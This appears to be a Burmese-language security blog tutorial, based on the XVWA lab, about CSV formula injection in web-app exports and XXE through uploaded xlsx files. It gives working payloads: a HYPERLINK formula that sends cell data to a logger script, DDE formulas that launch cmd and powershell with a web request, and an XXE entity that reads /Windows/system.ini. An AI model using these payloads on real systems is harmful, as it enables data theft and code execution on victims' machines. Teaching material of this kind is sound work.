Excel Parser & Web Application

Excel နဲ႕ Web Application နဲ႕ ဆက္စပ္ေနတဲ့ အေၾကာင္းေလးေတြ ေရးေပးမယ္လို႕စိတ္ကူးရပါတယ္။ တျခားေၾကာင့္ေတာ့မဟုတ္ဘူး။ ဒါမ်ိဳးေလးေတြက သိထားေတာ့လဲ လိုရင္သံုးလို႕ရတာေပါ့။

Excel Marco Injection 

ဒါေလးကိုက်ေနာ္စသိလာတာကေတာ့ XVWA ကိုေျဖေတာ့မွျဖစ္ပါတယ္။ ဘာပဲျဖစ္ျဖစ္ XVWA ကို ေျဖၾကည့္ဖို႕အၾကံေပးတဲ့ Ko Ye Yint Min Thu Htut ကိုေတာ့ ေက်းဇူးတင္ပါတယ္။ အဲ့ကေနမွတစ္ဆင့္ Comma Separated Vulnerabilities , Formula Injection , CSV Injection စတဲ့ အမည္ေတြလဲရွိတဲ့ Excel Marco Injection ဆိုတာကို စသိခဲ့ရတာပဲျဖစ္ပါတယ္။ လိုက္ရွာၾကည့္လိုက္ေတာ့ James Kettles ရဲ႕ ေဟာဒီ Article ေလးေတြ႕လိုက္ေတာ့ အဆင္ေျပသြားတာေပါ့။ အဲဒီမွာ သြားဖတ္လဲရတယ္ ဘာလို႕ျပန္ေရးေနေသးလဲလို႕ေမးစရာရွိပါတယ္။ James Kettles ဆိုတာက Burp Suite ကိုထုတ္တဲ့ portswigger ရဲ႕ researcher ပါ။ ေတာ္ယံုကို အေသးစိတ္ ေရးေပးေတာ့မွာ မဟုတ္ပါဘူး။ ျပီးေတာ့ csv injection ကိုသိရင္ေတာင္ ဘယ္လို Web App ကေန ဘယ္လိုျပန္ျပီး attack လုပ္ရတယ္ဆိုတာမ်ိဳးကို မေရးထားေတာ့ဘူး။

CSV file export in Web Application

တခါတေလမွာ Web Application ေတြကေန CSV file ေတြ export လုပ္ေပးတဲ့ features ေပးတာရွိပါတယ္။

Source from XVWA

$output = fopen('php://output', 'w');

fputcsv($output, array('itemcode', 'itemname', 'categ','price'));

fopen() နဲ႕ file တစ္ခုဖြင့္လိုက္တယ္ IO wrapper ကိုသံုးျပီး output ထုတ္ထားတယ္။ file ထဲကို data ေတြထည့္မွာဆိုေတာ့ write permission ေပးရတာေပါ့။ ျပီးေတာ့မွ ဒီထဲကို fputcsv() ကိုသံုးျပီးေတာ့ Database ထဲက select လုပ္ထားတဲ့ array ကိုျပန္ထည့္ေပးလိုက္တယ္။ ဒီေနရာမွာ သိထားရမွာက CSV Injection ဟာ အဲ့ဒီ Database ကို က်ေနာ္တို႕ insert လုပ္လို႕ရမွ ေပါက္မယ္ဆိုတာကို သိထားဖို႕လိုပါတယ္။ မဟုတ္ရင္ ကိုယ့္ဘာသာပဲ ေရာ့ဒါဖြင့္ဆိုျပီး excel file ေပးလိုက္ေတာ့မွာေပါ့။

Data Retrieval ( reference contexis )

=HYPERLINK("http://localhost/logger.php?lol="&A1&A2,"Error: please click for further information")

A1 နဲ႕ A2 cell ထဲမွာရွိတဲ့ Data ေတြကို logger.php file ဆီကို lol parameter မွတစ္ဆင့္ပို႕ေပးမွာျဖစ္ပါတယ္။ ဒီေတာ့ logger.php မွာေတာ့

<?php
$data=$_GET['lol'];
$file=fopen("data.txt", "a");
fwrite($file, $data);
?>

lol ထဲကို ဝင္လာတဲ့ string ေတြကို data.txt ထဲကို write သြားလုပ္ထားမွာျဖစ္ပါတယ္။

ဒီ Link ကို ႏွိပ္လိုက္တဲ့အခါမွာေတာ့

သာမာန္ User တစ္ေယာက္ဆိုၾကပါေတာ့ Error ရဲ႕အေျဖကိုသိရဖို႕ေတာ့ Link ကုိဖြင့္ၾကည့္မိႏိုင္ပါတယ္။

RCE

=cmd|' /C calc'!A0

Confirmation ေတာင္းပါတယ္။ cmd.exe ကိုဖြင့္မယ္ မဖြင့္ဘူးဆိုတာ user နဲ႕ပဲဆိုင္ပါတယ္။

commad prompt ကိုဖြင့္ရတယ္ဆိုရင္ powershell ကိုေရာ

=cmd|' /C powershell;Invoke-WebRequest http://localhost/logger.php?lol=powershell'!A0

multiple command လဲရတယ္

ဒီလိုဆို PowerSploit ကိုသံုးျပီး Meterpreter မရနိုင္ဘူးလား ? ရနိုင္တာေပါ့။ PowerSploit ကို ေရးေပးပါဆိုရင္ေတာ့ Comment ေလးေပးခဲ့ပါ။ ေနာက္လာမယ့္ tutorial က်ေရးေပးမယ္

ဒါက Web နဲ႕ပတ္သတ္ရင္ export လုပ္တဲ့ အခ်ိန္က ဆက္စပ္မွဳေလးေတြျဖစ္ပါတယ္။ ဒီလိုဆို excel parser ေတြမွာေရာလို႕ေမးစရာရွိလာပါျပီ။

CSV file reader in Web Application

ျပီးခဲ့တဲ့ article တုန္းက Florain’s ရဲ႕ XXE Lab ကိုစမ္းေတာ့ docx file ေတြကို read တဲ့အခါမွာ XXE data retreival ရွိတာကို သိလိုက္ရပါတယ္။ ဒါေၾကာင့္ excel file ေတြမွာေရာ ဆိုတာေလးေတြးမိတယ္ ဒါေၾကာင့္ က်ေနာ္စမ္းျပီး ျပန္ေရးေပးလိုက္တာျဖစ္ပါတယ္။ ဒါေၾကာင့္ xlsx file နဲ႕ျပန္စမ္းထားတာေလး ေအာက္မွာၾကည့္နိုင္ပါတယ္။

Output

foreach($xml->xpath('//dc:creator') as $title){
                echo "Creator'".$title . "' has been added.<br/>";

Creator ကို ျပန္ျပီး output ျပထားတယ္။ ဒါကေတာ့ ကိုယ့္ဘာသာစမ္းတာဆိုေတာ့ Creator ေပါ့။ သူမ်ား Web App မွာဆိုရင္ေတာ့ ဘာကို Output ျပထားတယ္ဆိုတာကို အရင္ၾကည့္မွရမယ္။ Output မရွိေတာ့ တကယ္လို႕သာ XML parse လုပ္တယ္ဆိုရင္ေတာ့ Blind XXE ဆိုတာရွိေသးတဲ့အတြက္ တစ္ဆင့္က်န္ေသးတယ္ဆိုတာ အမွတ္ရေပးပါ။

Excel file ေတြဟာလဲ docx file လိုပဲ Zip ေျပာင္းျပီး ျဖည္လိုက္လို႕ရပါတယ္။

creator ကဘယ္ထဲမွာပါတာလဲ ?

docProps/core.xml

ဒီလိုဆို က်ေနာ္က Windows 10 မွာစမ္းတာဆိုေတာ့ /Windows/system.ini ဆိုတဲ့ File ကို ၾကည့္လိုက္မယ္။ Linux သမားကေတာ့ /etc/passwd ၾကည့္ေပါ့။

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root[
  <!ENTITY xxe SYSTEM "/Windows/system.ini">
  ]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:creator>&xxe;</dc:creator><cp:lastModifiedBy>ASUS</cp:lastModifiedBy><dcterms:created xsi:type="dcterms:W3CDTF">2017-06-04T15:37:32Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2017-06-04T15:38:08Z</dcterms:modified></cp:coreProperties>

တျခား ေတြးမိတာေလးတစ္ခုေတာ့ရွိေသးတယ္ မစမ္းရေသးလို႕ အဆင္ေျပရင္ေနာက္မွေရးေပးလိုက္ပါေတာမယ္။

ေက်းဇူးအထူးတင္ပါတယ္ခမ်ာ 😀